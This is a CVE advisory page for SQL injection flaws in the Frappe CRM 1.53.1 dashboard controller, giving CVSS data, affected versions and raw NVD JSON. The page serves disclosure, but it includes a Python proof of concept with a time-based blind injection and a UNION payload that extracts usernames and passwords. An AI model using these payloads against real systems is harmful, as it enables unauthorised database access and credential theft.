Security Vulnerability Report
中文
CVE-2025-11461 CVSS 8.8 HIGH

CVE-2025-11461

Published: 2025-11-26 18:15:47
Last Modified: 2025-12-19 16:32:47

Description

Multiple SQL Injections in Frappe CRM Dashboard Controller due to unsafe concatenation of user-controlled parameters into dynamic SQL statements. This issue affects Frappe CRM: 1.53.1.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:frappe:frappe_crm:1.53.1:*:*:*:*:*:*:* - VULNERABLE
Frappe CRM < 1.53.1
Frappe CRM 1.53.1 (受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11461 PoC - Frappe CRM SQL Injection # Discovered by: [email protected] import requests import json TARGET_URL = "https://target-site.com/api/method/crm.api.dashboard.get" USERNAME = "[email protected]" PASSWORD = "password123" def login(): """Authenticate to Frappe CRM and get session cookie""" session = requests.Session() login_url = f"{TARGET_URL.rsplit('/', 1)[0]}/api/method/login" data = { "usr": USERNAME, "pwd": PASSWORD } response = session.post(login_url, data=data) return session if response.status_code == 200 else None def exploit_sql_injection(session): """Exploit SQL injection in dashboard parameter""" # Malicious payload to extract database version # This demonstrates blind SQL injection technique payload = "1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)--" headers = { "Content-Type": "application/json" } # Target vulnerable parameter in dashboard controller params = { "dashboard_name": payload, "refresh": "1" } try: response = session.get(TARGET_URL, params=params, headers=headers, timeout=10) if response.elapsed.total_seconds() >= 5: print("[+] SQL Injection confirmed - time-based blind injection works") return True except requests.exceptions.Timeout: print("[+] SQL Injection confirmed - request timed out as expected") return True return False def extract_data(session): """Extract sensitive data using UNION-based injection""" # UNION injection to extract users table data union_payload = "1' UNION SELECT NULL,username,password,email,NULL,NULL,NULL,NULL FROM __Auth--" params = { "dashboard_name": union_payload, "refresh": "1" } response = session.get(TARGET_URL, params=params) if response.status_code == 200: print("[+] Data extraction successful") print(f"Response: {response.text}") return response.json() return None if __name__ == "__main__": print("[*] CVE-2025-11461 - Frappe CRM SQL Injection Tester") print("[*] Target: Frappe CRM Dashboard Controller") session = login() if session: print("[+] Login successful") if exploit_sql_injection(session): print("[+] Vulnerability confirmed!") # Uncomment to extract data: # extract_data(session) else: print("[-] Authentication failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11461", "sourceIdentifier": "[email protected]", "published": "2025-11-26T18:15:46.847", "lastModified": "2025-12-19T16:32:47.197", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Multiple SQL Injections in Frappe CRM Dashboard Controller due to unsafe concatenation of user-controlled parameters into dynamic SQL statements.\nThis issue affects Frappe CRM: 1.53.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frappe:frappe_crm:1.53.1:*:*:*:*:*:*:*", "matchCriteriaId": "82ABE1F5-7748-467D-AD38-8B2166FAFE40"}]}]}], "references": [{"url": "https://fluidattacks.com/advisories/oz", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/frappe/crm", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/frappe/crm/pull/1339", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://fluidattacks.com/advisories/oz", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/frappe/crm", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Product"]}]}}